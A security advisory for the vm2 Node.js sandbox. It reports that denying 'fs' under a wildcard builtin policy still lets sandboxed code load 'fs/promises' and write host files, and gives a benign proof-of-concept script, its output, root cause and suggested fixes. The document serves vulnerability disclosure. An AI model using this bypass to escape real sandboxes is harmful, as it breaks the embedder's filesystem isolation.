GHSA-6rh5-qq4q-97xh

vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes

## Summary NodeVM's builtin wildcard policy can allow sandboxed code to access `fs/promises` even when the embedder denies `fs`. With the following configuration: ```js require: { builtin: ['*', '-fs', '-child_process'] } ``` `require('fs')` and `require('child_process')` are blocked, but `require('fs/promises')` and `require('node:fs/promises')` are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API. ## Affected Mode NodeVM. ## Affected Configuration ```js new NodeVM({ require: { builtin: ['*', '-fs', '-child_process'] } }); ``` This affects configurations where users rely on negative builtin entries such as `-fs` to deny filesystem access while using the `'*'` builtin wildcard. ## Affected Files / Functions - `lib/builtin.js` - `DANGEROUS_BUILTINS` - `BUILTIN_MODULES` - `makeBuiltinsFromLegacyOptions` - `addDefaultBuiltin` - `lib/resolver.js` - `Resolver.resolve` - `Resolver.loadBuiltinModule` - `lib/setup-node-sandbox.js` - `requireImpl` ## Root Cause `lib/builtin.js` builds `BUILTIN_MODULES` from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name: ```js if (builtins.indexOf(`-${name}`) === -1) { addDefaultBuiltin(res, name, hostRequire); } ``` This means `-fs` removes only the exact builtin named `fs`. It does not remove builtin subpaths such as `fs/promises`. There is also inconsistent `node:` prefix handling. `require('node:fs/promises')` resolves through the same builtin capability, but a negative entry such as `-node:fs/promises` does not block `require('fs/promises')`. ## Security Boundary Crossed Sandboxed code can perform host filesystem writes even though the embedder denied `fs`. ## Impact Confirmed impact: - Host file creation - Host file write The proof uses `fs/promises.writeFile()` to create a harmless temporary file containing a marker string. Additional reachable APIs on `fs/promises` include filesystem operations such as `cp`, `mkdir`, `rename`, `rm`, `rmdir`, `truncate`, and others. These were not used destructively in the proof. ## Safe Local Reproduction Tested on Node.js `v24.14.0`. This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file. ```js 'use strict'; const fs = require('fs'); const os = require('os'); const path = require('path'); const { NodeVM } = require('./'); const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`); const marker = `vm2-fs-promises-marker-${process.pid}`; try { fs.unlinkSync(proofPath); } catch (_) {} (async () => { const vm = new NodeVM({ require: { builtin: ['*', '-fs', '-child_process'] } }); const result = await vm.run(` module.exports = (async () => { const r = {}; try { require('fs'); r.fsLoaded = true; } catch (e) { r.fsBlocked = true; r.fsError = e && e.code; } try { require('child_process'); r.childProcessLoaded = true; } catch (e) { r.childProcessBlocked = true; r.childProcessError = e && e.code; } const fsp = require('fs/promises'); r.fsPromisesLoaded = true; r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort(); await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8'); r.wrote = true; return r; })(); `); const exists = fs.existsSync(proofPath); const content = exists ? fs.readFileSync(proofPath, 'utf8') : null; console.log(JSON.stringify({ result, hostFileExists: exists, hostFileContent: content }, null, 2)); try { fs.unlinkSync(proofPath); } catch (_) {} })().catch(error => { try { fs.unlinkSync(proofPath); } catch (_) {} console.error(error); process.exitCode = 1; }); ``` Observed result: ```json { "result": { "fsBlocked": true, "fsError": "ENOTFOUND", "childProcessBlocked": true, "childProcessError": "ENOTFOUND", "fsPromisesLoaded": true, "wrote": true }, "hostFileExists": true, "hostFileContent": "vm2-fs-promises-marker-<pid>" } ``` Additional local checks: - `require('node:fs/promises')` also loads and can write the proof file. - Adding `-fs/promises` blocks `require('fs/promises')`. - Adding only `-node:fs/promises` does not block `require('fs/promises')`. ## Expected Secure Behavior If an embedder denies `fs`, NodeVM should deny the whole filesystem builtin family, including: - `fs` - `fs/promises` - `node:fs` - `node:fs/promises` Negative entries with and without `node:` should be normalized consistently. ## Suggested Fix 1. Normalize builtin names before allow/deny checks: - Strip `node:` for comparison. - Use one canonical key form internally. 2. Treat negative builtin entries as family denials where appropriate: - `-fs` should block `fs/promises`. - `-inspector` already conceptually blocks `inspector/promises`; apply the same family logic to user-provided negative entries. 3. Add regression tests for: - `builtin: ['*', '-fs']` blocks `fs/promises`. - `builtin: ['*', '-fs']` blocks `node:fs/promises`. - `-node:fs/promises` and `-fs/promises` behave equivalently. - Explicit allowlist behavior is documented and covered.